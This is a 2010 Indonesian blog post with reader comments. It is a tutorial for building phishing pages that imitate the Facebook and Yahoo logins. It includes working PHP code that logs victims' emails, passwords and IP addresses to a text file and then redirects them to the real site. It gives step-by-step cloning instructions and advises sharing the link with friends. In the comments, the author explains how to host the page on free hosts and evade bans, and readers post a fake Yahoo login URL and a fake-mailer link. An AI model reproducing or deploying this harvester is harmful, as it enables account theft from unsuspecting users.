Fake Login Sesukamu

By Cruz3N | on December 27th, 2010 | 12 Comments

Banyak banget yang tanya sana sini, “Bagaimana seh membuat fake login?”. Mending kalo cuman itu, nanti yang lain tanya cara buat untuk Facebook, yang satu untuk Gmail, Yahoo, Blogger dan yah apa aja dah.

Pada prinsipnya sama aja, tinggal kita hanya mengganti beberapa perintah.

Penasaran?

Nah yang harus kita siapkan adalah 2 buah file yang bernama logs.php dan logs.txt (Terserah kalian lah mau kasih nama apa… ).

logs.php

<?php
$file = "logs.txt";
$username = $_POST['email'];
$password = $_POST['pass'];
$ip = $_SERVER['REMOTE_ADDR'];
$today = date("F j, Y, g:i a");

$handle = fopen($file, 'a');
fwrite($handle, "++++++++++++++++++++++++++++++++++++++++++++++++++++");
fwrite($handle, "\n");
fwrite($handle, "Email: ");
fwrite($handle, "$username");
fwrite($handle, "\n");
fwrite($handle, "Password: ");
fwrite($handle, "$password");
fwrite($handle, "\n");
fwrite($handle, "IP Address: ");
fwrite($handle, "$ip");
fwrite($handle, "\n");
fwrite($handle, "Date Submitted: ");
fwrite($handle, "$today");
fwrite($handle, "\n");
fwrite($handle, "++++++++++++++++++++++++++++++++++++++++++++++++++++");
fwrite($handle, "\n");
fwrite($handle, "\n");
fclose($handle);
echo "<script LANGUAGE=\"JavaScript\">
window.location=\"https://login.facebook.com/login.php?login_attempt=1\";
</script>";
?>

Perhatikan, untuk kedepannya yang perlu kalian ubah adalah perintah ini

$username = $_POST['email'];
$password = $_POST['pass'];

Dan ini…

window.location=\"https://login.facebook.com/login.php?login_attempt=1\";
1

<p>Dah inget aja itu dulu, ngerti belakangan aja... Sekarang target kita maunya apa? Facebook? Oke.</p>

<p>Buka Facebook dan liat source codenya / CTRL+U...</p>

<p style="text-align: center;"><img src="http://lh5.ggpht.com/_-fjmoWJlSMw/S4LxDKBWONI/AAAAAAAADJs/PwAepIRWCKc/s800/1.jpg" alt="Fake Login Sesukamu" /></p>
<p>Yang perlu kalian cari adalah <strong>INPUT ID dari kedua TEXT FIELD berikut...</strong></p>
<p style="text-align: center;"><img src="http://lh3.ggpht.com/_-fjmoWJlSMw/S4LxVFdAE-I/AAAAAAAADJw/8mvHg-vVbgk/2.jpg" alt="Fake Login Sesukamu" /></p>
<p>Kalo emang gak tau cara nyarinya, didalam text field tersebut kan ada tulisan <strong>Email </strong>dan <strong>Password</strong>. Copy aja dan coba search.</p>
<p style="text-align: center;"><img src="http://lh5.ggpht.com/_-fjmoWJlSMw/S4LyibERa3I/AAAAAAAADJ4/fysnfZLKiqE/3.jpg" alt="Fake Login Sesukamu" /></p>
<p>Done, ternyata untuk Email IDnya adalah <strong>email </strong>dan untuk Password IDnya <strong>pass</strong>. Buka <strong>logs.php</strong> dan ganti baris berikut.</p>

1

<p>Nah pada contoh kali ini sudah sama yaitu email dan pass (ituloh yang ada di dalam <strong>$_POST</strong>). Kemudian pada baris</p>

1
window.location=\"https://login.facebook.com/login.php?login_attempt=1\";

Ganti URLnya jadi alamat asli atau alamat tempat sang korban ter-redirect ketika melakukan login pada Fake Login yang telah kita buat. Pada contoh kali ini adalah alamat asli login facebook.

Langkah selanjutnya adalah mengcopy seluruh source code facebook dan simpan di dalam index.php (buat dulu filenya.).

Gunakan fasilitas search dan cari kata form method dan liat action-nya.

<form method="POST" action="https://login.facebook.com/login.php?login_attempt=1" id="login_form">

Kalau di facebook form actionnya adalah “https://login.facebook.com/login.php?login_attempt=1” nah ganti menjadi logs.php.

Ingat, gak semua website memiliki 1 form action…Kadang ada yang punya lebih dari satu. Kalo facebook kan ada yang untuk login dan register.

Fake Login Sesukamu

Pokoknya teliti dan cari yang berhubungan sama LOGIN. Kemudian upload ketiga file tersebut dan kasih linknya ke teman kamu.

Belom ngerti juga?

Kalian harus ingat langkah – langkahnya yah…

1. Cari website yang mau dibuatin fake loginnya.

2. Cari INPUT ID dari TEXT FIELD atau tempat kita nulis email dan passwordnya.

3. Setelah dapet buka logs.php dan ganti pada bagian ini $_POST['email'];

4. Ganti juga bagian ini window.location=\”https://login.facebook.com/login.php?login_attempt=1\”; untuk me-redirect korban ketika melakukan login pada fake login kita (disarankan untuk me-redirect ke halaman login aslinya.

5. Copy keseluruhan source code dari website aslinya pada index.php dan cari form method yang berhubungan dengan login dan ganti actionnya menjadi logs.php.

6. Upload ketiga file tersebut, kasih linknya ke siapa saja dan tunggu hasilnya.

Fake Login Sesukamu

Sekarang mau target apa lagi? Yahoo? Boleh… Kita harus melakukannya sesuai langkah diatas.

Cari INPUT ID text field dari ID Yahoo!: dan Sandi:.

Fake Login Sesukamu

Ternyata untuk ID Yahoo! adalah username dan untuk Sandi adalah passwd.

Jangan lupa untuk mengcopy link asli dari Login Yahoo tersebut.


https://login.yahoo.com/config/mail?.src=ym&.intl=id

Buka logs.php dan ubah bagian berikut.

$username = $_POST['username'];
$password = $_POST['passwd'];
window.location=\"https://login.yahoo.com/config/mail?.src=ym&.intl=id\";

Copy keseluruhan source code dari Yahoo dan paste ke index.php. Cari form methodnya dan ganti actionnya dari


https://login.yahoo.com/config/login?

Menjadi

logs.php

Upload dan nikmati hasilnya…

Coba kalian terapkan sendiri sisanya dan semoga tutorial singkat dan gak jelas ini bisa berguna buat kalian semua…

DOWNLOAD

Satu lagi, untuk My Lovely Father… Happy birthday Grin

Related posts:

  1. Simple PHP Mailer + Reload Every (FF) = Email Bomber
  2. Cara Unik Dapet Password Yahoo
  3. Metode Spamming Sederhana Di Jasakom [Temporary Email]
  4. Javascript Keylogger

12 Responses to “Fake Login Sesukamu”

January 2nd, 2011 at 11:58 pm

[...] manipulasi URL yang tujuannya macam-macam Entah untuk melakukan Social Engineering seperti membuat Fake Login atau sejenisnya (exp: Manipulasi Adsense ) Oke langsung [...]

adam

February 13th, 2011 at 2:03 pm

gan gw udah coba ngikution cara2 nya,,,
pas gw coba yg yahoo…
bisanya cuma ngeliat passwordnya aja ,,tapi ngeliat emailnya gk bisa,,,
itu gimana gan ??? Question

pajenk

February 13th, 2011 at 2:22 pm

mas username yahoo bukan username…
melainkan login,,,
jadi
$username = $_POST['login'];

February 13th, 2011 at 4:03 pm

@adam: Coba cek lagi source codenya Bro… Search diatas “(misalnya free2rhyme@yahoo.com)” ada code kyk gini…

<label for='username'>ID Yahoo!</label>
<input name='login' id='username' maxlength='96' tabindex='1' value=''>
<p id='ex'>(misalnya free2rhyme@yahoo.com)</p>

Nah itu keliatan klo namenya login…

CMIIW

said

April 15th, 2011 at 3:15 am

gan nyari web buat fake loginnya dmn?

Cruz3N

April 15th, 2011 at 8:45 am

Nih Bro referensi web hosting gratisan yang bisa bro pake buat taro nih file fake login.
http://mdianapriyanto.wordpress.com/2008/05/08/43-daftar-hosting-gratis-sekaligus-ulasan-fiturnya/

Tapi ya namanya gratisan banyak resiko2nya Bro kyk bisa2 kena banned, dll… Saran ane gini Bro klo mau taro file fake login, letakkan di sub folder-sub folder dan jangan di public_htmlnya contoh…

Jangan kyk gini fakelogin.webgratis.com/fake_login.php
tapi fakelogin.webgratis.com/gallery/foto/fake_login.php

Biar gak cepet kena banned Grin Semoga berguna Bro dan salam kenal…

May 1st, 2011 at 5:58 am

asek bosss, berhasilll
kirim emailnya lewat ini bos http://www.hidemyass.biz/fake-mailer/ Evil Grin Evil Grin Evil Grin

putri

July 8th, 2011 at 9:49 pm

saya mau tanya cara menemukan URL fake login yang akan saya sebarkan gimna?? Cry
saya upload di my-php.net
terima kasih

Cruz3N

July 9th, 2011 at 2:23 am

@putri : Jadi setelah daftar disitu nanti kamu dapet email yang isinya alamat FTP dan Cpanel… Juga sekalian informasi URLnya…

Coba cek email dulu Bro…

July 17th, 2011 at 12:49 pm

Keren Banget KK
Sekali Coba langsung bisa
tengkyu dud

July 26th, 2011 at 1:27 pm

http://y4hooinfo.t35.com/guides-logs/facebook-logins/yahoo-login/index.html

nih contoh fake login yahoo aku gan…..

kevin

November 27th, 2011 at 4:15 am

bro..gw gk ngerti nihhh..
yg di ctrl.u nya .. source code yg perlu dirubah apa aja..?
trus link yg di buat trsrah kta tuh yg mana..?
gw udah coba brkali2 tapi gk work gan..
webhosting udah pnya gw and udah gw upload file2 yg dibutuhkan tapi gk work jga.. mohon bantuan nya… atau ada yg bsa di hubungi gk gan..bir gw hbungi.. atau smsin aja nmr gan ya.. knmor *sensor*..trims

Leave a Response

SmileBig SmileGrinLaughFrownBig FrownCryNeutralWinkKissRazzChicCoolAngryReally AngryConfusedQuestionThinkingPainShockYesNoLOLSillyBeautyLashesCuteShyBlushKissedIn LoveDroolGiggleSnickerHeh!SmirkWiltWeepIDKStruggleSide FrownDazedHypnotizedSweatEek!Roll EyesSarcasmDisdainSmugMoney MouthFoot in MouthShut MouthQuietShameBeat UpMeanEvil GrinGrit TeethShoutPissed OffReally PissedMad RazzDrunken RazzSickYawnSleepyDanceClapJumpHandshakeHigh FiveHug LeftHug RightKiss BlowKissingByeGo AwayCall MeOn the PhoneSecretMeetingWavingStopTime OutTalk to the HandLoserLyingDOH!Fingers CrossedWaitingSuspenseTremblePrayWorshipStarvingEatVictoryCurseAlienAngelClownCowboyCyclopsDevilDoctorFemale FighterMale FighterMohawkMusicNerdPartyPirateSkywalkerSnowmanSoldierVampireZombie KillerGhostSkeletonBunnyCatCat 2ChickChickenChicken 2CowCow 2DogDog 2DuckGoatHippoKoalaLionMonkeyMonkey 2MousePandaPigPig 2SheepSheep 2ReindeerSnailTigerTurtleBeerDrinkLiquorCoffeeCakePizzaWatermelonBowlPlateCanFemaleMaleHeartBroken HeartRoseDead RosePeaceYin YangUS FlagMoonStarSunCloudyRainThunderUmbrellaRainbowMusic NoteAirplaneCarIslandAnnouncebrbMailCellPhoneCameraFilmTVClockLampSearchCoinsComputerConsolePresentSoccerCloverPumpkinBombHammerKnifeHandcuffsPillPoopCigarette